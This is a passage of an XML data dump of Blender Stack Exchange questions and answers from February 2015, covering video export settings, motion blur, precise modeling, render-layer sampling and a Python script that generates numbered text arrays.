  <row Id="25913" PostTypeId="1" CreationDate="2015-02-17T16:44:46.060" Score="2" ViewCount="159" Body="&lt;p&gt;I am an archaeology student tasked with creating a complete pot from just a few potsherds (broken pieces of pottery). I am new to Blender but was told that this program could help me. Is there any way to use my .stl file of one half of a ceramic pot and create the other half? &lt;/p&gt;&#xA;" OwnerUserId="12649" LastActivityDate="2015-04-08T01:23:57.530" Title="Creating a Whole Cermaic Pot from Potsherds - Archaeology" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25914" PostTypeId="1" CreationDate="2015-02-17T16:48:00.120" Score="5" ViewCount="15218" Body="&lt;p&gt;I am trying to use Blender to edit game play videos that I capture with Nvidia's Shadowplay.  I have learned what I know so far by watching these Blender tutorials which will be linked below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the original video source is 1080p at 60fps.  When I finish editing and attempt to save the video as 1080p at 60fps, the quality to bad. The video is grainy and blurry.  Nothing like the source video which is clear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is what can I do to improve the quality of the video the way a 1080p video should be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is to the tutorials I mentioned before.  &lt;a href=&quot;https://www.youtube.com/playlist?annotation_id=annotation_4173738165&amp;amp;feature=iv&amp;amp;list=PLjyuVPBuorqIhlqZtoIvnAVQ3x18sNev4&amp;amp;src_vid=xSGIPmQdV6M&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/playlist?annotation_id=annotation_4173738165&amp;amp;feature=iv&amp;amp;list=PLjyuVPBuorqIhlqZtoIvnAVQ3x18sNev4&amp;amp;src_vid=xSGIPmQdV6M&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hlPsT.png&quot; alt=&quot;My settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12651" LastActivityDate="2015-02-19T07:57:51.060" Title="How to make better quality 1080p videos in the video editor?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25915" PostTypeId="2" ParentId="25914" CreationDate="2015-02-17T16:52:55.670" Score="3" Body="&lt;p&gt;Try changing from Xvid to H.264:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ed72K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-02-17T16:52:55.670" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25916" PostTypeId="1" AcceptedAnswerId="25918" CreationDate="2015-02-17T16:53:36.820" Score="3" ViewCount="303" Body="&lt;p&gt;I always use following setup for relighting an object in compositing: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/40Bnm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases this works, but sometimes it's hard to adjust the direction of the light. Especially in terms accuracy it would be useful to &lt;strong&gt;adjust real values instead of rotating the light direction ball&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Xebe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there more accurate way to adjust the values of the &lt;code&gt;normal pass&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-02-17T17:26:05.427" Title="Relighting Workflow" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25918" PostTypeId="2" ParentId="25916" CreationDate="2015-02-17T16:59:32.333" Score="6" Body="&lt;p&gt;One way would be to enable the &lt;a href=&quot;http://pablovazquez.org/amaranth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Amaranth plugin&lt;/a&gt; by Pablo Vazquez (not included with blender by default). This addon adds many features to blender including the ability to edit the individual values of the normal node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sh6pm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the changes aren't visible in the node itself, when the node is selected extra options appear in the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) in the node editor.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-17T17:26:05.427" LastActivityDate="2015-02-17T17:26:05.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25920" PostTypeId="1" AcceptedAnswerId="26017" CreationDate="2015-02-17T17:10:41.837" Score="3" ViewCount="1129" Body="&lt;p&gt;I used the new mouse actuator and had it used for mouselook. It seems that you would need to turn an amount until the mouselook actually works. My threshold is set to 0, and I am very confused of why this still happens. I would like to have my mouselook start to move as soon as I move my mouse. How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-02-20T07:25:05.017" Title="Blender mouse function is not working properly?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25921" PostTypeId="1" AcceptedAnswerId="25926" CreationDate="2015-02-17T17:10:51.487" Score="5" ViewCount="1036" Body="&lt;p&gt;I currently have a simple scene in blender consisting of a particle emitter with thin rectangular prisms as particles.  They have a pretty fast speed, and it's causing some terrible looking artifacts in the final renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this with standard vector blur with compositing nodes in blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ytaQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I've tried this with the basic motion blur option available in Cycles:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KHh3K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks really great as a still image, but as soon as I actually go in and press the &quot;animate&quot; button instead of still render, it starts to fall apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jh9Ms.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in my current revision, the Motion blur setting makes frames horribly messy and doesn't seem to know where the object is going.  Blurs are curved instead of linear like in the still image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LvBMo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never had a problem like this before where the animation view looked different than the still image view.  What's going on, and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1hKuk3gVsYndjR1cl9WRzRVc2s/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a link to my blend file.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Fixed by nik10110&#xA;Here's a gif:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hedg3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1145" LastEditorUserId="1145" LastEditDate="2015-02-19T04:13:07.533" LastActivityDate="2015-12-13T06:50:31.070" Title="Bad looking motion blur with cycles motion blur and vector blur" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25922" PostTypeId="1" CreationDate="2015-02-17T17:40:22.017" Score="3" ViewCount="878" Body="&lt;p&gt;Is it possible to add my custom GLSL filter to 3d viewport? Like my custom SSAO or custom fog based on depth and normal passes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add my custom SSAO filter to a 3d viewport form here &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?234822-new-and-fast-SSAO&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?234822-new-and-fast-SSAO&lt;/a&gt;&#xA;But this is only for BGE. But i would like to use it for ObjectMode.&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2015-02-18T04:41:28.370" Title="Custom GLSL Filter for Viewport" Tags="&lt;opengl&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25924" PostTypeId="1" CreationDate="2015-02-17T18:58:55.273" Score="0" ViewCount="25" Body="&lt;p&gt;Is there a way to set a minimum number of bones to the vertices? Supposed there are three bones in the scene, and I want the vertices to have at least have two bones attached to them.&lt;/p&gt;&#xA;" OwnerUserId="11631" LastActivityDate="2015-02-17T18:58:55.273" Title="set a minimum number of bones to the vertices?" Tags="&lt;bones&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25926" PostTypeId="2" ParentId="25921" CreationDate="2015-02-17T19:20:28.877" Score="5" Body="&lt;p&gt;Your particles seem to be rotating a tad in-between the frames (bug in particles?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to turn on &lt;em&gt;rotation&lt;/em&gt; for the particle system, and leave the values at 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A8llK.png&quot; alt=&quot;particle rotation on for stable particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for having different results between &lt;em&gt;render&lt;/em&gt; and &lt;em&gt;animate&lt;/em&gt;, try &lt;em&gt;baking&lt;/em&gt; the particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NOhur.png&quot; alt=&quot;baking_particles&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11637" LastEditorUserId="11637" LastEditDate="2015-02-17T19:33:54.070" LastActivityDate="2015-02-17T19:33:54.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25928" PostTypeId="1" AcceptedAnswerId="25956" CreationDate="2015-02-17T19:39:42.460" Score="6" ViewCount="1354" Body="&lt;p&gt;I am currently trying to paint a texture onto a character model.  However, I cannot actually see what I am doing because one of the vertex color layers is being overlaid on top of the texture, causing it to appear solid black in most areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any way I can stop this from happening?&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2015-04-11T15:31:18.423" Title="How to hide vertex colors in Texture Paint?" Tags="&lt;texture-painting&gt;&lt;vertex-colors&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25929" PostTypeId="1" AcceptedAnswerId="25934" CreationDate="2015-02-17T19:40:17.093" Score="1" ViewCount="1314" Body="&lt;p&gt;Basically, I'm trying to model an house to use later in Unreal Engine 4. I've set the scale to the one reccomended for UE4 already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say I want one of the walls to be 3mx3mx20cm. This is easy. Add a cube, change the size in the transform menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want a window that's 1mx1mx20 in size. But how do I make a precise opening the my wall?&#xA;What I've been trying is to add a cube, make it 1mx1m, and then use it as a guide to place four edge loops. The problem is that this is not exactly accurate, so I usualy end up with openings that are like 99cmx98cm, or 99cmx101cm. So when I model my 1x1 window, it won't fit exactly, leaving seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better and more precise way?&lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2015-02-18T05:41:45.257" Title="Precise openings (windows, doors )in meshes" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25930" PostTypeId="1" AcceptedAnswerId="25935" CreationDate="2015-02-17T19:42:38.693" Score="1" ViewCount="783" Body="&lt;p&gt;I made a animation with a Panoramic Lens (Fisheye Equidistant) but i need to render it with the OpenGL render for preview purposes....&#xA;But how can i activate that type of camera? or is it impossible?&#xA;Thanks in regards.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-17T20:32:53.987" Title="OpenGL render doesnt render with the Panoramic Fisheye Lens?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25931" PostTypeId="1" CreationDate="2015-02-17T19:51:59.507" Score="3" ViewCount="11891" Body="&lt;p&gt;In my animation, I am using the red button to automatically insert key frames. So, it automatically saves Rot/scale and location. However, suppose that I need to just save the rotation of the object, so I click &lt;kbd&gt;I&lt;/kbd&gt; and to choose Rotation and I expect that in the dopesheet the LocRotScale will be changed to Rot only, but it does not change. I know that I can turn off the red button and insert key frames with rotation only. However, I see a lot of tutorials that use the red button and &lt;kbd&gt;I&lt;/kbd&gt; to insert key frames but I do not understand its utility? Any explanation will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorDisplayName="user1853" LastEditDate="2015-12-12T06:56:38.787" LastActivityDate="2015-12-12T18:58:29.580" Title="Understanding automatic key frames insertion" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25932" PostTypeId="2" ParentId="24881" CreationDate="2015-02-17T19:55:12.377" Score="3" Body="&lt;p&gt;The object texture list shown in the node editor is generated from textures used by Blender Internal render engine materials. A material and one of it's textures needs to be selected for this list to show up even though every available texture will then be listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These texture slots are only accessible when the Blender Internal render engine is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the texture slots need to be created while Blender Render is active, if Cycles is chosen after the slots are populated then the list will still be visible in Cycles, though they will have no use for the material. Materials created while Cycles is active will not have any material slots and will not show the list in the node editor.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-17T19:55:12.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25933" PostTypeId="1" AcceptedAnswerId="25992" CreationDate="2015-02-17T20:01:17.133" Score="5" ViewCount="1509" Body="&lt;p&gt;I am trying to weight paint using blender 2.73a, but no matter what weight I assign to a vertex or what shade the weight painting is it always gets influenced 100% by the armature/bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add this picture of a cylinder and one bone. As can seen the weight paint is not uniform, but the entire cylinder follows the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rRqQc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I totally not understanding weight paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also add a link to the blend file below:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/34515&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file of cylinder with bone&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12654" LastEditorUserId="12654" LastEditDate="2015-02-18T19:16:18.357" LastActivityDate="2020-12-23T01:15:53.920" Title="My weight painting only works at 100% no matter the shade" Tags="&lt;weight-painting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25934" PostTypeId="2" ParentId="25929" CreationDate="2015-02-17T20:07:41.227" Score="3" Body="&lt;p&gt;You can use snapping limiting transforms on an axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic house with a separate window object :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X9XfC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your house, enter in edit mode (&lt;kbd&gt;tab&lt;/kbd&gt;)&lt;br&gt;&#xA;Activate snapping, open the menu and choose Vertex :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yXr65.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add your edge loop (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;) place it anywhere. Move your newly created edge loop with &lt;kbd&gt;g&lt;/kbd&gt;, lock your movement on X axis (&lt;kbd&gt;X&lt;/kbd&gt;) and move your mouse close to a corner of your window. You'll see a circle appear where the movement can be snapped (window corner vertex). Click &lt;kbd&gt;LMB&lt;/kbd&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lq5sj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this actions on the 3 other loops with the 3 other corners (X and Z axis)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lh5hF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can move along all axis, 1 axis (with &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;) or 2 axis (with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt; all but X, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt; all but Y, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; all but Z).&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-17T20:07:41.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25935" PostTypeId="2" ParentId="25930" CreationDate="2015-02-17T20:24:11.887" Score="2" Body="&lt;p&gt;Sadly this feature is not supported. Here is a snippet from the Wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;Cycles&lt;/strong&gt; supports&lt;/em&gt; Equirectangular and Fisheye panoramic cameras. Note that &lt;em&gt;these &lt;strong&gt;can't be displayed&lt;/strong&gt; with OpenGL&lt;/em&gt; rendering in the viewport; they will only work for rendering. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Camera&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Here is a link to the Blender wiki page on Cameras &gt; &gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-17T20:32:53.987" LastActivityDate="2015-02-17T20:32:53.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25936" PostTypeId="2" ParentId="25914" CreationDate="2015-02-17T20:31:31.503" Score="0" Body="&lt;p&gt;Personally (if you have the harddrive space) I would render the final composition to a lossless format (AVI for example) and then use multipass h.264 compression with this open source video compression software - &lt;a href=&quot;https://handbrake.fr/&quot; rel=&quot;nofollow&quot;&gt;https://handbrake.fr/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering h.264 in multiple passes gives you better quality compression though it takes longer. Having the ability to compress the video and compare that to your uncompressed AVI will allow you to tune your settings to keep the best quality for the lowest file size. They even have a youtube preset!&lt;/p&gt;&#xA;" OwnerUserId="7879" LastEditorUserId="7879" LastEditDate="2015-02-18T22:34:04.180" LastActivityDate="2015-02-18T22:34:04.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25937" PostTypeId="1" AcceptedAnswerId="25941" CreationDate="2015-02-17T20:38:56.387" Score="9" ViewCount="2078" Body="&lt;p&gt;I'm rendering a crystal like object and another with a single planar texture, the first one needs to be rendered at high sampling and the second one doesnt, yet i need to render them both together, is it possible to give an object a number/quantity for sampling while for the others another number/quantity?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-17T21:25:37.157" Title="Rendering objects in the same scene with different sampling?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25939" PostTypeId="1" AcceptedAnswerId="25943" CreationDate="2015-02-17T20:53:41.653" Score="9" ViewCount="1188" Body="&lt;p&gt;The effect I am trying to achieve is an array that is fully editable in one instance, with Text labels incrementing in value, i.e. 1, 2, 3 etc. Is this possible? I know by nature it is not possible by using the &lt;em&gt;Array&lt;/em&gt; modifier, but is there some workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sort of result I am going for is like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JhLBi.jpg&quot; alt=&quot;Incremental Array&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I was thinking is making a script to duplicate like with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and shove a count value into the Text element of the duplicated group. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some things I am looking for/implementation suggestions:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Editable offset&lt;/li&gt;&#xA;&lt;li&gt;Duplicates editable text element&lt;/li&gt;&#xA;&lt;li&gt;Use a count variable to set the value of the text element&lt;/li&gt;&#xA;&lt;li&gt;Make it expandable&lt;/li&gt;&#xA;&lt;li&gt;Start from 1, go to at least 32 (non-limited is best)&lt;/li&gt;&#xA;&lt;li&gt;Honesty as to the difficulty to create this feature&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-12T06:16:37.160" Title="Is it possible to create an incremental array?" Tags="&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25940" PostTypeId="2" ParentId="25937" CreationDate="2015-02-17T21:15:28.850" Score="12" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put both objects on separate render layers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Override the number of samples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wWa7E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-17T21:15:28.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25941" PostTypeId="2" ParentId="25937" CreationDate="2015-02-17T21:25:37.157" Score="5" Body="&lt;p&gt;This can be done using &lt;em&gt;Render Layers&lt;/em&gt;. First, make sure your two objects are on seperate layers, but both are selected in the viewport. Now go to the &lt;em&gt;Render Layers&lt;/em&gt; tab and press the + button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xjUAN.jpg&quot; alt=&quot;Add Render Layer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name them HighSample and LowSample, and make the Layer attribute reflect which objects you want to render at higher or lower sample rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; do not use the &lt;em&gt;Exclude&lt;/em&gt; option! This will make the effect completely impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have your render layers set up, you can change a handy little &lt;em&gt;Samples&lt;/em&gt; value to override the set number of samples in the Render tab. If you render now, you will notice it renders two images, with separate objects. All you need to do now is be sure you have &lt;em&gt;Transparent&lt;/em&gt; enabled in the Render settings and do a little simple compositing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AMVb6.jpg&quot; alt=&quot;Compositing Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Render Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/se7j4.jpg&quot; alt=&quot;Render Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane has samples set to 10, and the flat shaded Icosphere used 100 samples.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-17T21:25:37.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25943" PostTypeId="2" ParentId="25939" CreationDate="2015-02-17T22:37:08.867" Score="14" Body="&lt;p&gt;Here you go!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keywords: Number Array Watch Dial&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0YiW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import IntProperty,FloatProperty&#xA;&#xA;class NumberArray(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Add a simple box mesh&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.primitive_number_array&quot;&#xA;    bl_label = &quot;Add Number Array&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    start = IntProperty(name=&quot;Start&quot;,description=&quot;Start value&quot;,min=0, max=100,default=1 )&#xA;    count = IntProperty(name=&quot;Count&quot;,description=&quot;Number of items to create&quot;,min=1, max=100, default=1  )&#xA;    offset = FloatProperty(name=&quot;Offset&quot;,description=&quot;Distance&quot;,min=0.01, max=100.0, default=1.0 )&#xA;&#xA;    def execute(self, context):&#xA;        x = 0.0&#xA;        pos = self.start&#xA;        end = self.count + self.start&#xA;        print(context)&#xA;        while pos &amp;lt; end:&#xA;            bpy.ops.object.text_add(view_align=False, enter_editmode=False, location=(x, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;            ob=bpy.context.object&#xA;            ob.data.body = str(pos)&#xA;            x = x + self.offset&#xA;            pos = pos +1&#xA;        return {'FINISHED'}&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(NumberArray.bl_idname, icon='MESH_CUBE')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(NumberArray)&#xA;    bpy.types.INFO_MT_mesh_add.append(menu_func)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(NumberArray)&#xA;    bpy.types.INFO_MT_mesh_add.remove(menu_func)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updated (works with 2.74):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxHah.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://github.com/3dbug/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/3dbug/blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/266/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=266&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the script in &lt;em&gt;Object Mode&lt;/em&gt; by &lt;em&gt;Add / Curve / Create Dials and Scales&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-06-12T06:16:37.160" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="25944" PostTypeId="1" AcceptedAnswerId="25946" CreationDate="2015-02-17T23:38:31.660" Score="5" ViewCount="840" Body="&lt;p&gt;I am trying to make a step-pyramid with hundreds of steps and it is far too tedious to size one step at a time.&lt;/p&gt;&#xA;&lt;p&gt;My first instinct is to make an array with reference to a scaled object but this yields results with a curved slope.  For example, scaling by .9 produces:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;100 x .9 = 90&#xA;90  x .9 = 81&#xA;81  x .9 = 72.9 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where as what I am trying to simply subtract a value at each step:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;100 - 10 = 90&#xA;90  - 10 = 80&#xA;80  - 10 = 70 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above calculations apply only to the X and Y dimensions while the Z remains constant.&lt;/p&gt;&#xA;&lt;p&gt;Here is a screenshot.  The pyramid on the left was generated with an array and has a curved slope.  The one on the right is the desired result with a straight slope and was made by hand.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uXelf.png&quot; alt=&quot;A pyramid generated with an array vs one made by hand&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there an easy way to generate the pyramid on the right?&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-18T12:20:42.693" Title="Array with Size Increment / Decrement" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;dimensions&gt;" AnswerCount="3" 